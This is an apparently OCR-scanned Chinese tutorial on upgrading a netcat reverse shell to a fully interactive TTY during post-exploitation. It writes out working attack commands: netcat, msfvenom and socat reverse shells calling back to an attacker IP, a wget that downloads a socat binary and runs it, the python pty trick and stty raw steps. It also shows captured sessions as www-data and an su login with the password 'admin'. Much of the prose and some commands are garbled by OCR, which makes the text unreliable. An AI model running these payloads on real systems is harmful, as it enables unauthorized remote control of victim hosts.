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:~# nc -lvp 4444
listening on [any] 4444 ...
10.8.3.7: inverse host lookup failed: Unknown host
connect to [10.0.3.4] from (UNKNOWN) [18.0.3.7] 57206
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
Svar/www
1s

index.html
secrets.config
cat
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http://pentestmonkey.net/blog/post-exploitation-without-a-tty
https://www.youtube.com/watch?v=o0l ZhFCS3AQ#t=25m53s
http://pastebin.com/raw/0SNSvyjJ
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https://blog.csdn.net/weixin_30522983
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KALI IP: 10.0.3.4 4 g% Jalshelldir 4
BATE S8 Fnetcat kIR EL & & Wi R Ialshell:  nc -e /bin/sh 10.0.3.44444
fEkali B AL ERATEA L Fay4:  nc -lvp 4444
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Metasploit?E“cmd/unix’ T, A JLANBT A T4 Bl 4T 95 %€ B [H shell ) payload:

:~# msTvenom -1 payloads |grep "cmd/unix"|awk '{print $1}'
cmd/unix/bind_awk
cmd/unix/bind_inetd
cmd/unix/bind_lua
cmd/unix/bind netcat
cmd/unix/bind netcat gaping
cmd/unix/bind netcat gaping ipvé
cmd/unix/bind nodejs
cmd/unix/bind perl
cmd/unix/bind perl ipvé
cmd/unix/bind ruby
cmd/unix/bind ruby ipvé
cmd/unix/
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd/unix
cmd /funix
cmd/unix/r
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RPORT. #lfn, iXBERE—NAEE-etr&Enetcatfy

:~# msTvenom -p cmd/unix/reverse netcat LHO5T=10.0.3.4 LPORT=4444 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
ayload s 3
mkfifo / JSlneo; .4 4444 B</tmp/lneo | /bin/sh =>/tmp/lneo 2=&1; rm /tmp/Llneo
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T &R T python R4, AR LAE Hpythonf@ i ifiptyith, RT/E—ATHAR T IR —NEERL
%, #r41F: python -c 'import pty; pty.spawn("/bin/bash")'

ARG, ALK AT izfTsum4 T . GFEFHRSRBEMRL)

:~# nc -lvp 4444
listening on [any] 4444 ...
10.8.3.7: inverse host lookup failed: Unknown host
connect to [18.0.3.4] from (UNKNOWN) [10.8.3.7] 57193
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
Jvar/www
su - webadmin
su: must be run from a terminal
python -c 'import pty; pty.spawn("/bin/bash")’
www-data@precise64:~$ su - webadmin
su - webadmin
Password: admin

webadmin@precisef4:~% id

id

uid=10081(webadmin) gid=1003(webadmin) groups=1003(webadmin)
webadmin@precise64:~%

BPfEantk, {H A @K IHEE SEERIfEU. BISIGINT (Ctrl-C)i4R 2 K % ik Netcat, 58 BibR4E 807 32 it F Ak
IHEA, EHENTEEEREHFEE MR, FiE2: fEfsocat

socatfe—netcat BN TR, WUAULRNCHIEIRR. FATA LMEH Socatilid TCPEREZ AT EMTTY.
IRARBRIHAE B ARHL A8 %% T socat, AR FATL AT LLEIE BAF R IKE B — N 2R BN TTY R Eshell:
fEkali B RN RA BT LA T é54:  socat file: tty”,raw,echo=0 tcp-listen:4444

£ BARHLE$IA1IB4T:  socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

R B s RABA ZHsocatfR Al LUE i BT Githubdiutik, T #HH 3< i 58 1) B A SC R AT 22 2%
https://github.com/andrew-d/static-binaries

A SENIEIE, AT L socat — it U F B — M B EZR, FHi@id chmoddr 2B SR HATIL
B, REE—ITHIITRIAShell: wget -q https://github.com/andrew-d/static-
binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socatexec:'bash -
li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

tertfEkali, RSB — N BERXEARTTYRE. BEXFTHIREE, SIGINT/SIGSTP, vim, [ k& kf#
R 5245



:~# socat file: tty ,raw,echo=0 tcp-listen:4444
www-data@precise64:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@precise64:~$ cd /etc/
alternatives/ dpkg/ Lvm/ resolvconf/
apachez/ fonts/ modprobe.d/ rsyslog.d/
apm/ fstab.d/ network/ security/
apparmor/ groff/ newt/ sgml/
apparmor.d/ grub.d/ opt/ skel/
apt/ init/ pam.d/ ssh/
bash completion.d/ init.d/ perl/ ssl/
ca-certificates/ initramfs-tools/ pm/ sudoers.d/
calendar/ insserv/ ppPp/ sysctl.d/
chatscripts/ insserv.conf.d/ profile.d/ systemd/
console-setup/ iproute2/ python/ terminfo/
cron.d/ iscsi/ python2.7/ udev/
cron.daily/ kbd/ rce.d/ ufw/
cron.hourly/ kernel/ rcl.d/ update-manager/
cron.monthly/ ldap/ rcz.d/ update-motd.d/
cron.weekly/ 1d.so.conf.d/ rci.d/ vim/
dbus-1/ libnl-3/ rcd.d/ X11/
default/ logcheck/ rcs.d/ xml/
depmod.d/ logrotate.d/ rcé.d/
dhcp/ lsb-base/ rcs.d/
www-data@precise6d:~$ cat
A
www-data@precise64:~$ sleep 100
~z
[1]+ Stopped sleep 160
www-data@precise64:~$ jobs

[1]+ Stopped sleep 100 FE3: BRI
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:~# nc -lvp 4444
listening on [any] 4444
10.8.3.7: inverse host lookup failed: Unknown host
connect to [10.0.3.4] from (UNKNOWN) [108.0.3.7] 57202
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")"
www-data@precise6d: /tmp$ "Z
[1]+ Stopped nc -lvp 4444
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echo STERM

<undef=; start = “Q;

¢ -ixany -imaxbel iutfa

nleé cré tabe
h -xcase -tostop -ec echoctl echoke -flusho -extproc

B & 118 B R TERMS R (“xterm-256¢olor” )R 24 BT TTY i K /M384T;  11651)

B RN AFISTTY R B Araw(iE#i fRshel (17 5 §181T), HMAEHAU T & B 28 AFRF:  stty raw -echo
fii fraw stty, BN/ KEERE SRR, RTREASET NS, HEIREAR, BB HIT.
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FE: REFABREANcH AW ELEFIR). BERF EHFANBTQETE), EXIFEFHFEITEVHRK. nciSIE
RATFRI G IR . resetdn ¥ A Zlnetcat shell$ )5, shell&IEH Ex. mE—FH R Eshell, &gk
Histty K/NRILECEATZ AT IKaliE 0 (LR ER{ER). $ export SHELL=bash $ export TERM=xterm256-
color $ stty rows 38 columns 116

KR RRBATR IR B —MEnetcatz EHISEEZERKITTY, ERA AL 86 T 6 (tab-

complete, history, job control%%):

Www - 64:/tmp$ export SHELL=bash

www - datal S :/tmp$ export TERM=xterm-256color
wWww-da 15 :/tmp$ stty rows 38 columns 116
WWW - @pre :/tmp$ id

uid= 33hn C i

Display a

www-data@precise64: /tmp$ cat
hc
www-data@precise64: /tmp$ sleep 100

A

[1]+ Stopped sleep 100
www-data@precise64: /tmp$ :41
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1% F PythonfE A — AN %5 python -c 'import pty; pty.spawn("/bin/bash")'

i i socat #Listener:socat file: tty",raw,echo=0 tcp-listen:4444#Victim:socat exec:'bash -
li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
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# In reverse shell$ python -c 'import pty; pty.spawn("/bin/bash")'Ctrl-Z# In Kali$ stty raw -echo $ fg# In reverse
shell$ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows columns ;& B # I, HEEEL
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